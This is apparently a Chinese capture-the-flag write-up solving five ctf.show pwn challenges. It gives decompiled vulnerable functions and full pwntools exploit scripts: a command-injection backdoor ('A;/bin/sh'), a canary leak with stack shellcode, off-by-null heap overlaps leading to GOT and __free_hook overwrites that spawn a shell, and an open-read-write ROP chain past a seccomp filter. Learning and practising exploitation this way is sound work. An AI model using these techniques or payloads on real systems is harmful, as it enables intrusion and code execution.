闲来无事作练习
新手杯
pwn1
好长的代码,看了十几分钟,发现最后一个函数是后门,而且是不用敲的那种。
void __noreturn door()
{
char s[32]; // [rsp+0h] [rbp-50h] BYREF
char command[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+48h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
read_n((__int64)s, 32);
sprintf(command, "echo %s", s);
system(command);
_exit(0);
}
这个只需要用;作个绕过即可
A;/bin/sh
pwn2
现在作题经常不按顺序来,结果费了半天劲,原来有个栈可写。还是应该先检查才行。
gdb-peda$ vmmap
Start End Perm Name
0x00400000 0x00402000 r-xp /home/kali/ctf/other/pwn2
0x00602000 0x00603000 rw-p /home/kali/ctf/other/pwn2
0x00603000 0x00624000 rw-p [heap]
0x00007ffff7c00000 0x00007ffff7c28000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7c28000 0x00007ffff7d96000 r-xp /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7d96000 0x00007ffff7dee000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dee000 0x00007ffff7df2000 r--p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7df2000 0x00007ffff7df4000 rw-p /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7df4000 0x00007ffff7e01000 rw-p mapped
0x00007ffff7fa7000 0x00007ffff7faa000 rw-p mapped
0x00007ffff7fc3000 0x00007ffff7fc5000 rw-p mapped
0x00007ffff7fc5000 0x00007ffff7fc9000 r--p [vvar]
0x00007ffff7fc9000 0x00007ffff7fcb000 r-xp [vdso]
0x00007ffff7fcb000 0x00007ffff7fcc000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fcc000 0x00007ffff7ff1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
这个漏洞在login里,输入密码的时候溢出
__int64 login_0()
{
int fd; // [rsp+Ch] [rbp-44h]
__int64 s[2]; // [rsp+10h] [rbp-40h] BYREF
char buf[16]; // [rsp+20h] [rbp-30h] BYREF
char s1[8]; // [rsp+30h] [rbp-20h] BYREF
__int64 v5; // [rsp+38h] [rbp-18h]
unsigned __int64 v6; // [rsp+48h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
memset(s1, 0, 0x10uLL);
fd = open("/dev/urandom", 0);
if ( fd <= 0 )
{
puts("open error!there is no such file!");
_exit(0);
}
if ( read(fd, buf, 0x10uLL) <= 0 )
{
puts("Initialization error. Please check the equipment environment.");
_exit(0);
}
memset(s, 0, sizeof(s));
memset(s1, 0, 0x10uLL);
puts("please login first!");
printf("name: ");
read_n((__int64)s, 16);
printf("password: ");
read_n((__int64)s1, 64); // 有溢出,可带出canary,二次
if ( !strcmp((const char *)s, "cat_loves_her") )
{
if ( !strcmp(s1, buf) )
{
dword_6022CC = 1;
}
else
{
printf("the password %s is wrong!You can try again !", s1);
printf("password: ");
read_n((__int64)s1, 64);
}
}
dword_6022D0 = 1;
qword_6022E0 = s[0];
qword_6022E8 = s[1];
qword_6022F0 = *(_QWORD *)s1;
qword_6022F8 = v5;
printf("%s,welcome to dreamcat's easy Databasesystem!\n", (const char *)s);
puts("here you will learn how to play ctfpwn!");
return 0LL;
}
由于程序启用了canary,所以第一次要带出canary,同时由于canary与rbp相邻一同带出。根据rbp计算输入的位置。第二次先写入shellcode再通过溢出写个跳转。
这题如果没有栈可执行的话,利用0x20和一个0x18的溢出写ROP,再进行一次移栈估计是很麻烦的。从汇编看写寻址都是通过rbp,应该是也能实现。
#!/usr/bin/env python3
from pwn import *
#p = process('./pwn2')
p = remote('pwn.challenge.ctf.show', 28106)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
pay1 = b'A'*25
p.sendlineafter(b"name: ", b"cat_loves_her")
p.sendlineafter(b"password: ", pay1)
p.recvuntil(pay1)
canary = b'\x00'+ p.recv(7)
stack = u64(p.recv(6).ljust(8, b'\x00'))
print(f"{stack:16X}")
shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
pay2 = shellcode.ljust(0x18, b'\x00') + canary + p64(0) + p64(stack -0x10 - 0x20)
p.sendlineafter(b"password: ", pay2)
p.interactive()
pwn3
还是同一个内容。不过这次终于进到菜单里头了。同时难度也加大了。
漏洞在readn这个函数,在最后a1[i]=0;是一个off_by_null.
先看块的结构,这里管理块的name与指针相邻,利用edit里name的off_by_null可以将ptr的尾字节改为0,当改为0后如果恰指向一个管理块这样就能控制管理块修改指针实现任意地址读写。
由于题目没有给libc版本,所以有3种可能,
如果是2.27以下没有tcache的版本,堆起点尾地址在0x10这时候0x20正好写不到指针,需要建3个块(程序已经建了第1个块),第3个块起点在0xf0将指针尾号改为0正好落在指针位置。
如果是2.27,有tcache则起点在0x50这样需要建7个块才能落到控制区
如果是2.35起点在0xa0,需要4个块
所以第1步,利用name与指针区相邻,当show_name时可以带出指针。
#!/usr/bin/env python3
from pwn import *
#p = process('./pwn3')
p = remote('pwn.challenge.ctf.show', 28113)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn3')
libc = ELF('/home/kali/glibc/2.27-3ubuntu1-amd64/libc-2.27.so')
def login():
p.sendafter(b"name: ", b"cat_loves_her".ljust(16, b'\x00'))
p.sendlineafter(b"password: ", b'\x00')
def login2():
p.sendafter(b"name: ", b'A\n')
p.sendafter(b"password: ", b'A'*16)
def show(name):
p.sendlineafter(b"[7].Check log_information\n", b'2')
p.sendlineafter(b"please input the name of the object you want to check>> \n", name)
def add(name, msg):
p.sendlineafter(b"[7].Check log_information\n", b'1')
p.sendafter(b"please input the name of the onject>> ", name)
p.sendafter(b"and then describe it ", msg)
def edit(name, new_name, msg):
p.sendlineafter(b"[7].Check log_information\n", b'4')
p.sendlineafter(b"please input the name of the object you want to modify>> ", name)
p.sendlineafter(b" [3]both\n", b'3')
p.sendafter(b"please input the name of the onject>> \n", new_name)
p.sendafter(b"emememememmm,describe it>> \n", msg)
def free(name):
p.sendlineafter(b"[7].Check log_information\n", b'3')
p.sendlineafter(b"please input the name of the object you want to delete>> \n", name)
def show_name():
p.sendlineafter(b"[7].Check log_information\n", b'7')
login2()
show_name()
p.recv()
pause()
通过得到的结果,这个版本大概是2.27
后边先要把指针指到got表上,由于free可以带1个参数,跟system一样,思路就是先指向got.free得到libc地址,再将got.free改为system,释放一个带/bin/sh的块。
代码前面公共函数部分与前面部分相同。
login()
for i in range(1,7):
add(str(i).encode()+b'\n', b'/bin/sh\n')
free(b'1\n') #先free一个块,让got表填充libc的值
edit(b'6', b'6'.ljust(8, b'\x00'), p64(6)+p64(0x36)+p64(elf.got['free'])+b'\n') #改name时置指针尾字节为0,控制管理块再通过修改msg修改管理块指针到got表
show(b'6')
p.recvuntil(b'::')
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['free']
print(hex(libc.address))
one = [0x4f2c5,0x4f322,0x10a38c]
edit(b'6', b'6\n', p64(libc.sym['system'])[:-1]+b'\n') #再次修改got表为system
free(b'2\n')
p.interactive()
vm
第4题没有延用前边的题,出了个单独的。
给了一个很大的包,里边有两个libc的安装包和一个libc已经解好的包和libc_all_in_one的程序。其实只是告诉了libc版本,不过这种题可以直接泄露got的的情况下libc版本给出有点多余了。
这是个虚拟机的题。这个虚拟机比较简单只有push,add,pop,exit,system 5个命令。
int __fastcall vm(int v_bottom, char **p_top, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
int v11; // [rsp+14h] [rbp-2Ch]
int v12; // [rsp+1Ch] [rbp-24h]
__int64 v13; // [rsp+20h] [rbp-20h]
__int64 v14; // [rsp+28h] [rbp-18h]
__int64 v15; // [rsp+30h] [rbp-10h]
__int64 v16; // [rsp+38h] [rbp-8h]
LODWORD(v3) = v_bottom;
switch ( v_bottom )
{
case 0: // 0,n:push
++qword_602088;
++qword_60A0B0;
v3 = (__int64)qword_60A0C0;
qword_60A0C0[qword_602088] = qword_6020A0[qword_60A0B0];
break;
case 1: // pop a;pop b;push a+b
v5 = qword_602088--;
v11 = qword_60A0C0[v5];
v6 = qword_602088--;
v12 = qword_60A0C0[v6] + v11;
++qword_602088;
v3 = (__int64)qword_60A0C0;
qword_60A0C0[qword_602088] = v12;
break;
case 2: // pop
v4 = qword_602088--;
LODWORD(v3) = printf("popped %d\n", (unsigned int)qword_60A0C0[v4]);
break;
case 3: // exit
byte_602080 = 0;
break;
case 4: // push;pop a;pop b;pop c;pop d
qword_60A0C0[++qword_602088] = qword_6020A0[++qword_60A0B0];
v7 = qword_602088--;
v13 = qword_60A0C0[v7];
v8 = qword_602088--;
v14 = qword_60A0C0[v8];
v9 = qword_602088--;
v15 = qword_60A0C0[v9];
v3 = qword_602088--;
v16 = qword_60A0C0[v3];
LODWORD(v3) = v13;
if ( v13 )
{
if ( v13 == 1 )
LODWORD(v3) = syscall(1LL, v14, v15, v16);// a==1 syscall(1,b,c,d) write
}
else
{
LODWORD(v3) = syscall(0LL, v14, v15, v16);// a==0 syscall(0,b,c,d) read
}
break;
default:
main(v_bottom, p_top, a3);
}
return v3;
}
同样作题时忘了先检查,结果一半发现got表里有prctl才想起来。结果发现是execve被禁用了。
┌──(kali㉿kali)-[~/ctf/other]
└─$ patchelf --add-needed ~/glibc/libs/2.27-3ubuntu1_amd64/libc-2.27.so vm
┌──(kali㉿kali)-[~/ctf/other]
└─$ patchelf --set-interpreter ~/glibc/libs/2.27-3ubuntu1_amd64/ld-2.27.so vm
┌──(kali㉿kali)-[~/ctf/other]
└─$ seccomp-tools dump ./vm
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
┌──(kali㉿kali)-[~/ctf/other]
└─$ checksec --file=vm
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH RUNPATH No Symbols No 0 1 vm
被禁用后也就是用ORW了,思路就是先得到libc地址和栈地址,在vm函数结束return的位置写入ORW
由于虚拟机提供了syscall(0,...) syscall(1,...)也就是任意地址读和写,所以处理起来还算好办。从got表就能得到libc地址,再从environ得到栈地址计算出ret地址,最后再利用syscall(0,..)将ORW写入到栈里。
from pwn import *
#p = process('vm')
p = remote('pwn.challenge.ctf.show', 28108)
context(arch='amd64', log_level='debug')
elf = ELF('./vm')
libc = ELF('/home/kali/glibc/2.27-3ubuntu1-amd64/libc-2.27.so')
p.recv(0x100)
#get libc address
cmd = [0,0x67616c662f, #/flag
0,8,0,elf.got['puts'],0,1,4,1,3, 999999] #write(1,got.puts,8)
p.sendline(' '.join([str(v) for v in cmd]).encode())
p.recvline() #running
libc.address = u64(p.recv(8)) - libc.sym['puts']
print('libc:', hex(libc.address))
#get stack address (environ)
cmd = [0,8,0,libc.sym['environ'],0,1,4,1,3, 999999] #
p.sendline(' '.join([str(v) for v in cmd]).encode())
p.recvline() #running
stack_ret = u64(p.recv(8)) - 0x120 #vm ret
print('stack:', hex(stack_ret))
#write ORW at vm.return
pop_rdi = libc.address + 0x000000000002155f # pop rdi ; ret
pop_rsi = libc.address + 0x0000000000023e6a # pop rsi ; ret
pop_rdx = libc.address + 0x0000000000001b96 # pop rdx ; ret
pop_rax = libc.address + 0x00000000000439c8 # pop rax ; ret
ret = pop_rdi+1
rop = flat(pop_rdi, 0x60a0c0, pop_rsi,0, pop_rdx,0, libc.sym['open'],
pop_rdi,3, pop_rsi, 0x123000, pop_rdx,0x50, libc.sym['read'],
pop_rdi, 0x123000, elf.plt['puts'] )
cmd = [0,len(rop),0,stack_ret,0,0,4,0,3, 999999] #
p.sendline(' '.join([str(v) for v in cmd]).encode())
p.recvline() #running
p.send(rop)
print(p.recvline())
七夕杯
pwn_me
七夕杯只有这一个题。是个堆题,在readn有个off_by_null跟上边第3题那个函数基本一样。
__int64 __fastcall readn(__int64 a1, int a2)
{
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
buf = 0;
for ( i = 0; a2 > (int)i; ++i )
{
if ( read(0, &buf, 1uLL) != 1 )
return i;
if ( buf == 10 )
return i;
*(_BYTE *)(a1 + (int)i) = buf;
}
getchar();
*(_BYTE *)((int)i + a1) = 0; // off_by_null
return (unsigned int)a2;
}
堆菜单给的挺全,add,free,edit,show都有,那难度就没有了。
利用off_by_null的模板就是通过尾字节修改堆头,比如0x101改为0x100这样在free里形成向前合并,从而得到重叠块。
这里在模板上有几个小限制
有一个0x10的name块,为防止在里头捣乱,先建5个0x10的块释放,再建块时name块会利用这些tcache和fastbin建立,其余块就会连在一起进入模板的样子。
块大小只有1024,不能直接建立可以直接释放到unsort的块,需要先释放7个才行。
释放以后不能建同样大小的块,否则会使用tcache。用两块凑尺寸。
只允许建10个块,刚刚好,再少一个就比较麻烦了。
远程始终连不上,仅作了本地。应该差不多。
from pwn import *
#p = process('./sweetheart')
p = remote('pwn.challenge.ctf.show', 28104)
context(arch='amd64', log_level='debug')
elf = ELF('./sweetheart')
libc = ELF('/home/kali/glibc/2.27-3ubuntu1-amd64/libc-2.27.so')
def add(name, size):
p.sendlineafter(b"what do you want to do ????? ", b'1')
p.sendlineafter(b"how much you long for a sweetheart?", str(size).encode())
p.sendlineafter(b"Congratulations,you new one;Then ask the name,and tell me:", str(name).encode().ljust(16, b'\x00'))
def edit(name, msg):
p.sendlineafter(b"what do you want to do ????? ", b'2')
p.sendlineafter(b"who do you want to buy gift for? ", str(name).encode())
p.sendlineafter(b">>>> ", msg)
def show(name):
p.sendlineafter(b"what do you want to do ????? ", b'3')
p.sendlineafter(b"who do you want to show to us ? ", str(name).encode())
def free(name):
p.sendlineafter(b"what do you want to do ????? ", b'4')
p.sendlineafter(b"who do you want to break up with? ", str(name).encode())
p.sendlineafter(b"Did you give me the money voluntarily? how much ? \n",b'99')
for i in range(5):
add(i, 0x10)
for i in range(5):
free(i)
for i in range(10):
add(i, 0x1f8)
for i in range(9,2,-1):
free(i)
free(0)
edit(1, b'0'*0x1f0 + p64(0x400)) #chunk2 0x201->0x200
free(2)
#12 = 1
add(10, 0xf8)
add(11, 0xf8)
show(1)
p.recvuntil(b"emmmmm\n ")
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print('libc:', hex(libc.address))
add(12, 0xf8)
add(13, 0xf8)
free(12)
edit(1, p64(libc.sym['__free_hook']))
add(12, 0xf8)
add(14, 0xf8) #__free_hook
edit(14, p64(libc.sym['system']))
edit(10, b'/bin/sh\x00')
free(10)
p.interactive()